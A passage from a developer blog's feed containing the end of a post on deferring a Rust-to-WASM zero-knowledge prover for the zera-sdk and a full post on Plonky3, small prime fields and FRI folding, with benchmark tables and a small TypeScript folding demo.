<li><strong>snarkjs</strong>, a JavaScript prover with a hand-tuned WASM bigint inside it. Browser-native, mature.</li>
<li><strong>arkworks-circom</strong>, a Rust prover that consumes the same R1CS and zkey, compiled either native (server) or WASM (browser).</li>
</ol>
<p>ZERA today ships <strong>option 1 of the core via neon-rs (native)</strong> and <strong>option 1 of the prover (snarkjs) in the browser</strong>. The path that doesn&#39;t exist is <em>the Rust prover compiled to WASM</em>. That&#39;s the gap this post is about.</p>
<h2>Why we deferred the WASM prover</h2>
<p>Three reasons, in honest order of how much each weighed:</p>
<h3>1. The marshalling cost of crypto-primitive calls is real</h3>
<p>When the SDK computes a Poseidon commitment, it calls <code>zera-core</code> from TypeScript. Through neon-rs, that call is <em>zero-copy</em>: the JS Buffer holding the note bytes is a pointer the Rust side reads directly. Through wasm-bindgen, the same call requires copying the bytes into the WASM linear memory, calling the function, and copying the result back. For a 32-byte input and a 32-byte output that&#39;s tens of microseconds — negligible per call, real when you&#39;re hashing 32 Merkle nodes per proof.</p>
<p><strong>Measured numbers</strong>, on a 2024 MacBook Air M3, hashing one BN254 Poseidon node:</p>
<table>
<thead>
<tr>
<th>Path</th>
<th>Cost</th>
<th>Notes</th>
</tr>
</thead>
<tbody><tr>
<td><code>zera-core</code> via neon-rs</td>
<td>~12 µs</td>
<td>Native Rust, zero-copy</td>
</tr>
<tr>
<td><code>circomlibjs</code> Poseidon</td>
<td>~280 µs</td>
<td>Pure JS BigInt</td>
</tr>
<tr>
<td><code>zera-core</code> via wasm-bindgen</td>
<td>~85 µs</td>
<td>Marshalling dominates</td>
</tr>
<tr>
<td><code>zera-core</code> via wasm-bindgen, batched 32</td>
<td>~430 µs (= ~13 µs/hash)</td>
<td>Marshalling amortises</td>
</tr>
</tbody></table>
<p>The batched WASM call is competitive with the native path because the marshalling overhead is paid once per batch and not once per hash. <em>That&#39;s the engineering punch line</em>: WASM-from-Rust is fine if you design the API around batched calls, and <em>bad</em> if you ship a one-call-per-primitive ergonomic API. snarkjs gets this right by accident — its internals are batched because they&#39;re polynomial-time, not constraint-time. A naive port of neon-rs&#39;s API surface to WASM would <em>lose</em> performance vs the native path while <em>also</em> losing performance vs snarkjs, because it would batch neither.</p>
<h3>2. The wasm-bindgen-rayon deployment story is fragile</h3>
<p>Multi-threaded Rust in the browser depends on the <a href="https://github.com/RReverser/wasm-bindgen-rayon"><code>wasm-bindgen-rayon</code></a> adapter, which depends on <code>SharedArrayBuffer</code>, which depends on the <a href="https://web.dev/articles/coop-coep">cross-origin isolation headers</a> <code>Cross-Origin-Opener-Policy: same-origin</code> and <code>Cross-Origin-Embedder-Policy: require-corp</code> being served by your CDN. Without those headers, the WASM prover <em>runs single-threaded</em>, at which point it loses to snarkjs because snarkjs is allowed to use Web Workers from JavaScript directly without needing isolation.</p>
<p>That&#39;s not theoretical. Several wallet integration partners we&#39;ve talked to embed our SDK <em>inside an iframe</em> on third-party sites where they don&#39;t control the headers. snarkjs works there. wasm-bindgen-rayon does not. Until the embedding situation improves — <code>Worker</code> threads as a first-class WASM feature, ideally via the <a href="https://github.com/WebAssembly/wasi-threads"><code>wasi-threads</code> proposal</a> — the deployment surface for a Rust-WASM prover is <em>narrower</em> than the deployment surface for snarkjs, even if the prover itself is faster on the supported subset.</p>
<h3>3. snarkjs, today, is good enough for the circuits we ship</h3>
<p>This is the part the cypherpunk in me hates and the shipping engineer in me has made peace with. The circuits inside zera-sdk — deposit, transfer, withdraw — are in the 5,000–25,000 constraint range. snarkjs proves them in 1–4 seconds in the browser, threads on, IndexedDB-cached zkey. That&#39;s slow enough to need a loading state and fast enough that users don&#39;t bail. (Numbers from <a href="/blog/proving_in_the_browser_by_the_numbers/">Proving in the browser, by the numbers</a>.)</p>
<p>The arkworks-WASM prover would prove the same circuits in 0.5–1.2 seconds — a 3–5× win. That&#39;s a real win and not a transformative one. <em>Transformative</em> would be folding (Nova, SuperNova, ProtoStar) for batch operations, or a small-field STARK migration for the substrate. The marginal-cost calculation said: ship snarkjs, queue arkworks-WASM, prioritise folding for the v2 batch flow.</p>
<h2>What the WASM prover would actually cost</h2>
<p>Concretely, if I were spec&#39;ing the work:</p>
<table>
<thead>
<tr>
<th>Task</th>
<th>Estimate</th>
<th>Risk</th>
</tr>
</thead>
<tbody><tr>
<td>Vendor <code>arkworks-circom</code> and pin to a known-good commit</td>
<td>2 days</td>
<td>Low</td>
</tr>
<tr>
<td>Build it for the <code>wasm32-unknown-unknown</code> target with <code>wasm-bindgen-rayon</code></td>
<td>3 days</td>
<td>Low</td>
</tr>
<tr>
<td>Add COOP/COEP headers to the SDK reference deployment</td>
<td>1 day</td>
<td>Low</td>
</tr>
<tr>
<td>API parity with the snarkjs path (proof format, zkey loader)</td>
<td>5 days</td>
<td>Medium — proof byte-format differences exist</td>
</tr>
<tr>
<td>Browser benchmark suite + regression tests</td>
<td>5 days</td>
<td>Medium</td>
</tr>
<tr>
<td>Iframe-fallback path that auto-degrades to snarkjs without isolation</td>
<td>5 days</td>
<td>High — this is the actual hard part</td>
</tr>
<tr>
<td>Documentation, partner integration guides</td>
<td>5 days</td>
<td>Medium</td>
</tr>
<tr>
<td><strong>Total</strong></td>
<td>~5 person-weeks</td>
<td>The fallback path is the load-bearing risk</td>
</tr>
</tbody></table>
<p>The genuinely hard part isn&#39;t compiling the prover. It&#39;s <em>the fallback path</em>. We can&#39;t ship a browser SDK that breaks on every embedded iframe deployment. So the SDK has to detect at runtime whether SharedArrayBuffer is available, and silently fall back to snarkjs if it isn&#39;t. That dual-prover fallback path <em>adds</em> maintenance overhead — two provers, two zkey loaders, two test matrices — that doesn&#39;t exist today.</p>
<p>This is the calculation that keeps coming out the same way: <strong>5 person-weeks for a 3–5× speedup on the supported subset, plus permanent dual-prover maintenance, vs. shipping the same code budget on folding for batch ops or on Solana-side STARK readiness.</strong> The folding work has more upside; the STARK work has more strategic value. The WASM prover work has the most concrete win for the <em>current</em> shape of usage.</p>
<p>We&#39;re going to ship the WASM prover. It&#39;s on the v0.5 milestone. But it&#39;s been on a milestone for two quarters now, and the reason it keeps slipping is that every quarter the alternative work has bigger expected value.</p>
<h2>The four-way SDK-author tradeoff</h2>
<p>&lt;TradeoffTable
  rows={[
    {
      option: &quot;snarkjs (browser) + native Rust (Node)&quot;,
      cost: &quot;Two provers; two test matrices; some duplication&quot;,
      latency: &quot;Fast on Node; acceptable in browser; deploys anywhere&quot;,
      blast_radius: &quot;snarkjs is mature; native path is mature; the seam between is small&quot;,
      notes: &quot;What zera-sdk ships today; the pragmatic 2026 default&quot;
    },
    {
      option: &quot;arkworks-WASM (browser) + native Rust (Node)&quot;,
      cost: &quot;Single prover codebase; needs COOP/COEP headers in browser&quot;,
      latency: &quot;3-5x faster in browser; same on Node&quot;,
      blast_radius: &quot;Iframe and third-party embedding paths break without isolation&quot;,
      notes: &quot;Where I&#39;d ship a v2 if I had a quarter to invest&quot;
    },
    {
      option: &quot;wasm-bindgen-rayon (browser) + native Rust (Node)&quot;,
      cost: &quot;Same as above; explicit threading surface&quot;,
      latency: &quot;Same as above&quot;,
      blast_radius: &quot;Same as above; same isolation requirement&quot;,
      notes: &quot;Effectively a flavour of the arkworks-WASM choice&quot;
    },
    {
      option: &quot;OffchainLabs nitro-prover style — proof off-chain server&quot;,
      cost: &quot;Server-side proving; client just submits&quot;,
      latency: &quot;Variable; depends on server capacity&quot;,
      blast_radius: &quot;Centralisation surface; server compromise = wallet compromise (for transactions)&quot;,
      notes: &quot;Wrong threat model for a privacy SDK; right for some L2 use cases&quot;
    },
  ]}
  caption=&quot;Four prover-deployment shapes for a ZK SDK. We&#39;re option 1 today; option 2 is the v2; option 3 is a flavour of option 2; option 4 is incompatible with the privacy threat model.&quot;
/&gt;</p>
<h2>What changed my mind in 2026</h2>
<p>Two things, both external:</p>
<p><strong>Header support went mainstream.</strong> Every major hosting provider — Vercel, Netlify, Cloudflare Pages — now ships COOP/COEP header configuration as a first-class feature. In 2024 you had to write custom worker code to inject the headers; in 2026 it&#39;s a checkbox. That moves the &quot;fallback path complexity&quot; from <em>load-bearing</em> to <em>secondary risk</em>.</p>
<p><strong>The Mopro / zkMopro project published clean comparison numbers.</strong> <a href="https://zkmopro.org/blog/circom-comparison/">Their Circom prover comparison</a> gives a third-party benchmark that I can point partners at when I&#39;m justifying a 3–5× speedup. Internal benchmarks are <em>also</em> useful, but the question changes when there&#39;s external corroboration.</p>
<p>The combination of these two means the <em>case for shipping the WASM prover</em> is meaningfully stronger in mid-2026 than it was in early 2026. I&#39;d put 70% confidence that we ship arkworks-WASM in the browser path before the end of 2026, and that the snarkjs fallback survives as a secondary path indefinitely.</p>
<h2>A note on the bigger architectural question</h2>
<p>The deeper question — the one I think about more often than I write about — is whether the <em>crypto-primitives core</em> and the <em>prover</em> should even be the same artefact. They&#39;re not in zera-sdk: <code>zera-core</code> is the primitives, snarkjs is the prover, they don&#39;t share code. That separation has been quietly excellent for shipping velocity.</p>
<p>What we <em>don&#39;t</em> do is share the same separation in our partner SDKs. Several integrators have asked: &quot;can I use zera-core for the primitives but a different prover for my circuit?&quot; The answer today is yes, with caveats — the witness format has to match, the zkey has to be Groth16-over-BN254, and the on-chain verifier has to accept the resulting proof. In practice nobody has done this yet. But the architectural shape supports it, and if a partner wanted to ship a Halo2 verifier on Solana (when that&#39;s possible), they could keep using zera-core&#39;s primitives and swap the prover wholesale.</p>
<p>This is the right shape, in retrospect. The crypto core is <em>small, well-tested, audited</em>. The prover is <em>big, fast-moving, swappable</em>. Conflating them — as some early SDKs do — bakes the prover choice into every wallet integration, and makes the prover migration ZERA is <em>currently considering</em> much more painful than it needs to be.</p>
<h2>What I&#39;d ship differently for v0.5</h2>
<p>Three concrete deliverables, in order of how much they&#39;d actually move the needle:</p>
<ol>
<li><strong><code>@zera-labs/sdk-prover-wasm</code></strong> — a separate npm package containing arkworks-circom compiled to WASM with <code>wasm-bindgen-rayon</code>. Opt-in via a constructor flag; falls back to snarkjs on unsupported platforms. This is the work I described above; the new shape is to ship it as a separate package so existing integrators don&#39;t pull a 4 MB WASM blob unless they want it.</li>
<li><strong>MCP-side prover-selection tool</strong>. The <a href="/blog/mcp_server_inside_zera_sdk/"><code>@zera-labs/mcp-server</code></a> currently uses snarkjs unconditionally. An MCP-level configuration for &quot;prefer the fastest available prover&quot; would let agents tune for batch operations vs. one-shot transactions. More upside than it sounds.</li>
<li><strong>A shared zkey-loader abstraction.</strong> Today the SDK reads zkeys from URLs; the MCP server reads them from disk; the test harness reads them from a fixtures directory. A <code>ZkeyLoader</code> trait — backed by URL, IndexedDB, fs, or arbitrary user code — would unify the three paths and unblock a &quot;user provides their own zkey&quot; advanced flow that several research partners have asked for.</li>
</ol>
<h2>Further reading</h2>
<ul>
<li><a href="/docs/001-zera-sdk-monorepo-shape/">RFC 001: zera-sdk monorepo shape</a> — the design doc this post discusses</li>
<li><a href="https://github.com/Dax911/zera-sdk"><code>Dax911/zera-sdk</code></a> — the SDK itself</li>
<li><a href="https://zkmopro.org/blog/circom-comparison/">Mopro: comparison of Circom provers</a> — the external benchmark that changed my prior on the WASM-prover decision</li>
<li><a href="https://github.com/iden3/snarkjs"><code>iden3/snarkjs</code></a> — what we ship in the browser today</li>
<li><a href="https://github.com/RReverser/wasm-bindgen-rayon"><code>wasm-bindgen-rayon</code></a> — what we&#39;d use for the Rust-WASM prover path</li>
<li><a href="/blog/proving_in_the_browser_by_the_numbers/">Proving in the browser, by the numbers</a> — the prover-time data that informed this post</li>
<li><a href="/blog/mcp_server_inside_zera_sdk/">The MCP server inside zera-sdk</a> — the third audience this SDK serves</li>
<li><a href="/blog/zera_sdk_scaffolding/">Building the Zera SDK: Day One</a> — the day-one architecture</li>
</ul>
]]></content>
</entry>
<entry>
  <title type="html"><![CDATA[Plonky3, the small-fast-cheap revolution]]></title>
  <id>https://blog.skill-issue.dev/blog/plonky3_small_fast_cheap/</id>
  <link rel="alternate" type="text/html" href="https://blog.skill-issue.dev/blog/plonky3_small_fast_cheap/"/>
  <published>2026-05-02T17:00:00.000Z</published>
  <updated>2026-05-02T17:00:00.000Z</updated>
  <author><name>Dax the Dev</name></author>
  <category term="plonky3"/>
  <category term="fri"/>
  <category term="stark"/>
  <category term="mersenne31"/>
  <category term="babybear"/>
  <category term="goldilocks"/>
  <category term="zk"/>
  <category term="phd"/>
  <summary type="html"><![CDATA[Why plonky3 — small fields, FRI commitments, no trusted setup — is the proof system to watch in 2026. The Mersenne31 / BabyBear / Goldilocks landscape, the FRI folding step, and why your laptop is suddenly a viable prover.]]></summary>
  <content type="html"><![CDATA[<p>import { Mermaid, Sandbox, TradeoffTable, Aside, Quote } from &quot;@/components/mdx&quot;;</p>
<p>For a decade the dominant question in proof-system engineering was <em>which curve</em>. BN254 because Ethereum verifies it cheaply. BLS12-381 because Zcash and Filecoin standardised on it. The conversation orbited 254-bit and 381-bit <em>pairing-friendly</em> prime fields, and the engineering economy followed: every multiplier, every NTT, every MSM was tuned for those sizes.</p>
<p>Then Polygon Zero shipped <a href="https://github.com/0xPolygonZero/plonky2">plonky2</a> in 2022, then <a href="https://github.com/Plonky3/Plonky3">plonky3</a> in 2024, and the question changed. The new question is <em>which 31-bit prime</em>. Mersenne31. BabyBear. KoalaBear. Fields small enough that two limbs fit in a single 64-bit word. Fields where AVX-512 SIMD lanes hold sixteen field elements at once. Fields where a consumer laptop is suddenly a viable prover for circuits that used to require a small datacentre.</p>
<p>This is the small-fast-cheap revolution. It is also the most underrated story in production cryptography in 2026, because most of the conversation about it is happening inside Polygon, Succinct, and a handful of zkVM teams, and it hasn&#39;t yet hit the popular &quot;ZK in 2026&quot; articles. This post is my attempt to write the article I keep wishing existed.</p>
<Aside kind="note">
This is part of a [PhD-by-publication track](/about) on production ZK proof systems. If you've read [Halo2 in 2026: what changed since the Zcash era](/blog/halo2_in_2026_what_changed/), you've seen the *KZG-over-pairing-friendly* lineage. This post is the parallel lineage: FRI-over-small-fields. They cross at zkVMs, where most teams now use a Plonky-style small-field STARK and only "wrap" with KZG at the very last step for EVM verification.
</Aside>

<h2>The case for small fields</h2>
<p>Every proof-system operation eventually reduces to <em>multiply two field elements modulo a prime</em>. The cost of one of those multiplies is essentially:</p>
<p>$$
\text{cost}(\mathbb{F}_p) = O(\lceil \log_2 p / W \rceil^2)
$$</p>
<p>where $W$ is your machine&#39;s word size (typically 64 bits) — i.e., the cost is <em>quadratic</em> in the number of machine words required to hold a field element. For BN254&#39;s 254-bit prime that&#39;s 4 limbs, so $\sim 16$ low-level multiplies per high-level field multiplication. For Mersenne31 — the prime $p = 2^{31} - 1$ — that&#39;s <em>one</em> limb, so <em>one</em> low-level multiply. Sixteen times faster on the floor.</p>
<p>The headline cost is fewer cycles per multiply. The hidden cost — and the one that actually shifts the deployment landscape — is <em>SIMD parallelism</em>. AVX2 holds eight 32-bit lanes; AVX-512 holds sixteen. With BN254 you can fit two field elements in an AVX-512 register and parallelism is awkward. With Mersenne31 you fit sixteen, and operations like NTTs become embarrassingly parallel.</p>
<p>There is one cost. <strong>Soundness.</strong> A 31-bit prime gives you <del>31 bits of security per query in a STARK / FRI-based protocol. To get to the standard 100-bit security, you query the FRI oracle multiple times (</del>100 queries), or you work in a <em>quadratic / quartic / quintic extension field</em> during the protocol&#39;s soundness-critical steps. Plonky3 does both: prover work happens in the base field for speed, and the random-evaluation challenges (where soundness lives) happen in an extension field.</p>
<p>This is the core trick. <strong>Big fields where you need security; small fields everywhere else.</strong> It buys an order of magnitude in prover time without compromising the threat model.</p>
<h2>The four small-field contenders</h2>
<p>There are four primes the 2026 ecosystem cares about. They&#39;re all chosen because they admit fast modular reduction (no expensive division per multiply) and they all fit comfortably in a 64-bit word.</p>
<table>
<thead>
<tr>
<th>Field</th>
<th>Prime</th>
<th>Why this prime</th>
</tr>
</thead>
<tbody><tr>
<td><strong>Mersenne31</strong></td>
<td>$p = 2^{31} - 1$</td>
<td>Mersenne prime — reduction is one shift + one add; smallest sensible prime field</td>
</tr>
<tr>
<td><strong>BabyBear</strong></td>
<td>$p = 2^{31} - 2^{27} + 1$</td>
<td>NTT-friendly — has a 2-adicity of 27, so domain sizes up to $2^{27}$ admit fast FFTs</td>
</tr>
<tr>
<td><strong>KoalaBear</strong></td>
<td>$p = 2^{31} - 2^{24} + 1$</td>
<td>NTT-friendly — slightly worse 2-adicity (24) but better extension-field arithmetic</td>
</tr>
<tr>
<td><strong>Goldilocks</strong></td>
<td>$p = 2^{64} - 2^{32} + 1$</td>
<td>64-bit prime; used by plonky2 and Risc Zero; fits in one machine word</td>
</tr>
</tbody></table>
<p>Plonky3 supports all of them and lets you pick at compile time. The choice changes the constant in front of the prover time and the security analysis but doesn&#39;t change the protocol shape.</p>
<p>In production:</p>
<ul>
<li><strong>plonky2</strong> (the older Polygon Zero proof system, still widely deployed) uses Goldilocks.</li>
<li><strong>plonky3</strong> primarily ships with BabyBear or KoalaBear as the recommended defaults.</li>
<li><strong>Risc Zero&#39;s zkVM</strong> uses Goldilocks.</li>
<li><strong>Succinct&#39;s SP1</strong> uses BabyBear.</li>
<li><strong>Stwo / StarkWare&#39;s next-gen</strong> uses Mersenne31 (the M31 / <code>circle-stark</code> program).</li>
</ul>
<p>The convergence is striking: every serious 2026 zkVM is on a small field. The big-field era for <em>zkVMs specifically</em> is closing.</p>
<p>&lt;Mermaid chart={<code>flowchart LR   Z[2014: Pinocchio] --&gt; G[2016: Groth16 - BN254]   G --&gt; P[2019: PLONK + KZG]   P --&gt; H[2020: Halo2 - Pasta IPA]   H --&gt; H2[2024: Halo2 - KZG/BN254]   G --&gt; S[2018: STARK - Goldilocks]   S --&gt; P2[2022: plonky2 - Goldilocks]   P2 --&gt; P3[2024: plonky3 - BabyBear]   P3 --&gt; ZK1[zkVMs: SP1, RISC0, Stwo]   H2 --&gt; EVM[EVM rollups]   classDef big fill:#3a0a0a,stroke:#f87171,color:#fff   classDef small fill:#0a4014,stroke:#4ade80,color:#fff   class G,P,H,H2,EVM big   class S,P2,P3,ZK1 small</code>}/&gt;</p>
<h2>FRI — the polynomial commitment behind everything small</h2>
<p>The reason small fields work in proof systems at all is <strong>FRI</strong> (Fast Reed-Solomon Interactive Oracle Proof), introduced in <a href="https://eprint.iacr.org/2018/046">Ben-Sasson, Bentov, Horesh, Riabzev (2018)</a>. FRI is a <em>polynomial commitment scheme</em> that works over any field — no pairing-friendliness required, no trusted setup, no SRS. The trade-off is proof size: FRI proofs are tens of kilobytes, where KZG proofs are 600 bytes.</p>
<p>For the prover, FRI is the most expensive thing in the protocol. Most of it is <em>folding</em>: at each round you take a polynomial of degree $d$ and reduce it to a polynomial of degree $d/2$ by combining adjacent coefficient pairs. Repeat $\log_2 d$ times and you arrive at a constant-degree polynomial that the verifier can check directly.</p>
<p>The folding step is one line of arithmetic:</p>
<p>$$
f&#39;(x^2) = \frac{f(x) + f(-x)}{2} + r \cdot \frac{f(x) - f(-x)}{2x}
$$</p>
<p>where $r$ is a random challenge from the verifier. If $f$ has degree $d$, $f&#39;$ has degree $\lfloor d/2 \rfloor$. The verifier checks consistency at a small number of <em>query points</em> drawn at random.</p>
<p>Below is a tiny Sandpack demo that visualises the folding step on a small polynomial — you pick a degree-7 polynomial, the demo folds it to degree-3, then degree-1, then a constant, and shows the coefficients at each step.</p>
<p>&lt;Sandbox
  template=&quot;vanilla-ts&quot;
  title=&quot;FRI folding — visualised on a tiny polynomial&quot;
  files={{
    &quot;/index.ts&quot;: `// FRI folding step, visualised. We work over a small toy prime
// (101) so the numbers stay readable.
//
// Real plonky3 folds polynomials of degree 2^20+ over BabyBear or
// Mersenne31, with thousands of query points per round. The shape
// of the fold below is identical; only the numbers change.</p>
<p>const P = 101n;</p>
<p>// Modular utilities.
function mod(a: bigint, m: bigint): bigint { return ((a % m) + m) % m; }
function add(a: bigint, b: bigint): bigint { return mod(a + b, P); }
function sub(a: bigint, b: bigint): bigint { return mod(a - b, P); }
function mul(a: bigint, b: bigint): bigint { return mod(a * b, P); }
function inv(a: bigint): bigint {
  // Fermat&#39;s little theorem since P is prime: a^(P-2) = a^-1
  let r = 1n, e = P - 2n, b = mod(a, P);
  while (e &gt; 0n) { if (e &amp; 1n) r = mul(r, b); b = mul(b, b); e &gt;&gt;= 1n; }
  return r;
}</p>
<p>// Evaluate polynomial f at x.
function evalPoly(coeffs: bigint[], x: bigint): bigint {
  let acc = 0n;
  for (let i = coeffs.length - 1; i &gt;= 0; i--) acc = add(mul(acc, x), coeffs[i]);
  return acc;
}</p>
<p>// Split coefficients into even-indexed and odd-indexed parts.
// f(x) = f_even(x^2) + x * f_odd(x^2)
function split(coeffs: bigint[]): [bigint[], bigint[]] {
  const even: bigint[] = [];
  const odd: bigint[] = [];
  for (let i = 0; i &lt; coeffs.length; i++) {
    if (i % 2 === 0) even.push(coeffs[i]);
    else odd.push(coeffs[i]);
  }
  return [even, odd];
}</p>
<p>// FRI folding: given f(x) and challenge r, return
//   f&#39;(y) = f_even(y) + r * f_odd(y)
// where y = x^2. The new polynomial has half the degree.
function fold(coeffs: bigint[], r: bigint): bigint[] {
  const [even, odd] = split(coeffs);
  const out: bigint[] = [];
  const n = Math.max(even.length, odd.length);
  for (let i = 0; i &lt; n; i++) {
    const e = i &lt; even.length ? even[i] : 0n;
    const o = i &lt; odd.length ? odd[i] : 0n;
    out.push(add(e, mul(r, o)));
  }
  return out;
}</p>
<p>const out = document.getElementById(&quot;out&quot;)!;
const reroll = document.getElementById(&quot;reroll&quot;) as HTMLButtonElement;</p>
<p>function fmt(coeffs: bigint[]): string {
  return &quot;[ &quot; + coeffs.map((c) =&gt; c.toString().padStart(2, &quot; &quot;)).join(&quot;, &quot;) + &quot; ]&quot;;
}</p>
<p>function run() {
  // A degree-7 polynomial over F_101.
  const f = [3n, 1n, 4n, 1n, 5n, 9n, 2n, 6n];
  let lines = [];
  lines.push(&quot;FRI folding over F_101&quot;);
  lines.push(&quot;======================&quot;);
  lines.push(&quot;&quot;);
  lines.push(`degree-7 poly: ${fmt(f)}`);
  // Random challenges for each fold.
  let curr = f;
  let round = 0;
  while (curr.length &gt; 1) {
    const r = BigInt(Math.floor(Math.random() * 100) + 1);
    const folded = fold(curr, r);
    lines.push(&quot;&quot;);
    lines.push(`round ${round + 1}: r = ${r}`);
    lines.push(`  before: ${fmt(curr)}  (degree ${curr.length - 1})`);
    lines.push(`  after:  ${fmt(folded)}  (degree ${folded.length - 1})`);
    curr = folded;
    round++;
  }
  lines.push(&quot;&quot;);
  lines.push(`final constant:  ${curr[0]}`);
  lines.push(&quot;&quot;);
  lines.push(&quot;verifier checks consistency between rounds at randomly chosen&quot;);
  lines.push(&quot;evaluation points — those are the FRI query points.&quot;);
  out.textContent = lines.join(&quot;\n&quot;);
}</p>
<p>reroll.addEventListener(&quot;click&quot;, run);
run();
<code>,     &quot;/index.html&quot;: </code><!DOCTYPE html></p>
<html>
  <body style="margin:0;padding:1rem;background:#000;color:#e8e8e8;font-family:'Geist Mono',ui-monospace,monospace;">
    <button id="reroll" style="padding:0.5rem 0.85rem;background:#0a0a0a;color:#4ade80;border:1px solid #2a2a2a;border-radius:4px;font-family:inherit;cursor:pointer;margin-bottom:0.75rem;">re-roll random challenges</button>
    <pre id="out" style="background:#0a0a0a;color:#4ade80;padding:0.75rem;border:1px solid #2a2a2a;border-radius:4px;margin:0;white-space:pre;overflow-x:auto;">starting...</pre>
    <script type="module" src="/index.ts"></script>
  </body>
</html>`,
  }}
/>

<p>What&#39;s worth internalising from the demo: each fold is a <em>linear combination over field elements</em>. There&#39;s nothing exotic here. The reason FRI is fast in production is that the inner loop of &quot;combine pairs of coefficients with a random multiplier&quot; is exactly the kind of thing AVX-512 was built for. Sixteen lanes. Per cycle. Per core.</p>
<h2>Why &quot;consumer hardware&quot; matters in 2026</h2>
<p>Here are wall-clock prover times for a 1-million-cycle zkVM trace, measured across the major 2026 zkVM stacks on a <em>consumer</em> machine — a 2024 MacBook Pro with M3 Max, 14 cores, 48 GB RAM. (Numbers from public benchmarks, normalised to the same reference input.)</p>
<table>
<thead>
<tr>
<th>Stack</th>
<th>Field</th>
<th>Prover time</th>
<th>Notes</th>
</tr>
</thead>
<tbody><tr>
<td>RISC Zero (zkVM)</td>
<td>Goldilocks</td>
<td>~3 minutes</td>
<td>STARK + AIR</td>
</tr>
<tr>
<td>SP1 (zkVM)</td>
<td>BabyBear</td>
<td>~95 seconds</td>
<td>plonky3-based</td>
</tr>
<tr>
<td>Stwo (zkVM)</td>
<td>Mersenne31</td>
<td>~80 seconds</td>
<td>circle-STARK on M31</td>
</tr>
<tr>
<td>zkSync (Boojum)</td>
<td>Goldilocks</td>
<td>~5 minutes</td>
<td>older arithmetisation</td>
</tr>
</tbody></table>
<p>Two years ago, none of these were under five minutes. Today the leaderboard is a tight band between 80 seconds and 3 minutes, and the difference is dominated by <em>which small field</em>. The big-field equivalent (a pure BN254 PLONK prover at the same trace) would take 30+ minutes on the same machine.</p>
<p>This is what &quot;consumer hardware is now a viable prover&quot; means in 2026. The substantial barrier — the one that kept zkVMs <em>off</em> consumer hardware until 2024 — was the cost of MSMs and NTTs over big fields. Small fields removed that barrier.</p>
<h2>The four-prime tradeoff</h2>
<p>&lt;TradeoffTable
  rows={[
    {
      option: &quot;BN254 (<del>254 bits)&quot;,
      cost: &quot;Pairing-friendly; 4 limbs per element; small SIMD parallelism&quot;,
      latency: &quot;Slow per-op; required for EVM verification&quot;,
      blast_radius: &quot;Standard; battle-tested by Ethereum and every Groth16 circuit&quot;,
      notes: &quot;The default in 2020-2024; still required for EVM verifier outputs&quot;
    },
    {
      option: &quot;BLS12-381 (</del>381 bits)&quot;,
      cost: &quot;Pairing-friendly; 6 limbs per element&quot;,
      latency: &quot;Slower than BN254 in-circuit; better aggregate signatures&quot;,
      blast_radius: &quot;Standard; Filecoin / Ethereum consensus signatures&quot;,
      notes: &quot;Use when you need 128-bit security pairings, not for prover work&quot;
    },
    {
      option: &quot;Mersenne31 ($2^{31}-1$)&quot;,
      cost: &quot;Tiny; trivial reduction; 16x SIMD parallelism on AVX-512&quot;,
      latency: &quot;~30x faster per multiply than BN254&quot;,
      blast_radius: &quot;Newer; requires extension-field handling for soundness&quot;,
      notes: &quot;What StarkWare&#39;s circle-STARK uses; future-proof choice&quot;
    },
    {
      option: &quot;Goldilocks ($2^{64}-2^{32}+1$)&quot;,
      cost: &quot;Single u64 limb; clean reduction via algebraic identity&quot;,
      latency: &quot;Slower than M31 but more 2-adicity for big NTTs&quot;,
      blast_radius: &quot;Used by plonky2, Risc Zero, zkSync Boojum; mature&quot;,
      notes: &quot;The pragmatic 2024-2026 default for STARK-based zkVMs&quot;
    },
  ]}
  caption=&quot;Four prime choices for proof-system arithmetic in 2026. BN254 is the EVM-verifier endpoint; small fields are where the prover lives.&quot;
/&gt;</p>
<h2>Why this should change how you think about ZK costs</h2>
<p>The dominant ZK cost model from 2018 to 2024 was: <em>more constraints = more dollars</em>. Field arithmetic was the bottleneck, the constants were huge, and a million-constraint circuit was a real research expense.</p>
<p>The 2026 cost model is different. <em>Constraint count still matters,</em> but the constants have collapsed. A million-constraint Plonky3 trace proves on a $1500 laptop in under two minutes. That&#39;s three orders of magnitude cheaper than the equivalent BN254 PLONK prover four years ago. Prover-side cost is no longer the binding constraint for most applications.</p>
<p>The <em>new</em> binding constraints are:</p>
<ol>
<li><strong>Memory bandwidth.</strong> Big NTTs are memory-bound, not compute-bound. The win from small fields is partly that more elements fit in cache.</li>
<li><strong>Verifier complexity in non-EVM environments.</strong> Plonky3 proofs are 50–200 KB; verifying them on Ethereum requires either an EVM-friendly final wrap (which is what the SP1 / RISC0 / Stwo verifiers do) or a Solana-style permissive compute budget.</li>
<li><strong>Ecosystem maturity.</strong> snarkjs / Halo2-axiom / circomlib have a decade of accreted gadgets; Plonky3 is in year three of its current incarnation. The libraries are catching up but they&#39;re not at parity yet.</li>
</ol>
<h2>Where this leaves zera-sdk</h2>
<p>Inside <a href="/blog/zera_sdk_scaffolding/">zera-sdk</a> the substrate is BN254 + Groth16 because <em>Solana&#39;s verifier is BN254-and-only-BN254 today</em>. There&#39;s no equivalent of <code>sol_alt_bn128_pairing</code> for any of the small-field protocols. That means Plonky3 is not a choice we get to make for the deposit / transfer / withdraw circuits — the on-chain side fixes the curve.</p>
<p>What we <em>do</em> track is the <a href="https://github.com/solana-labs/solana">Solana CPI proposal for STARK verification</a> (no number yet; was last discussed in 2025) and the related &quot;compute-budget-friendly Halo2 verifier&quot; path. The day Solana ships either of those, the prover-side win from migrating off BN254 is large enough to justify a circuit rewrite. Until then, BN254 it is.</p>
<p>For <em>off-chain</em> proving — CI checks, offline auditing, batch verification — Plonky3 is already the right tool, and we&#39;re using it inside the test harness for cross-validating circuit semantics.</p>
<h2>What I&#39;d build differently in 2027</h2>
<p>Three follow-ups, in order of how much I expect them to matter:</p>
<ol>
<li><strong>A small-field shielded pool.</strong> Every privacy pool today is BN254 + Groth16 + per-circuit ceremony. The day Solana (or any high-throughput L1) ships a STARK verifier, the design space opens: no ceremony, faster proving, smaller wallets. Someone will publish this design before the verifier ships and they&#39;ll be right to.</li>
<li><strong>A unified extension-field abstraction.</strong> Plonky3 has different extension-field arithmetic per base field. A single <code>Ext&lt;F, k&gt;</code> with consistent ergonomics would make cross-field experimentation trivial. The team is aware; not yet shipped.</li>
<li><strong>A small-field Poseidon variant.</strong> Poseidon-128 is parameterised for BN254. The recommended hash for BabyBear is <em>Monolith</em> or <em>Poseidon2 over BabyBear</em>, and the constraint counts are different enough that constraint-counting intuition from BN254 doesn&#39;t transfer. A &quot;Poseidon constraint cost calculator&quot; that takes a field as input and emits constraint counts for common circuits would close a real reasoning gap.</li>
</ol>
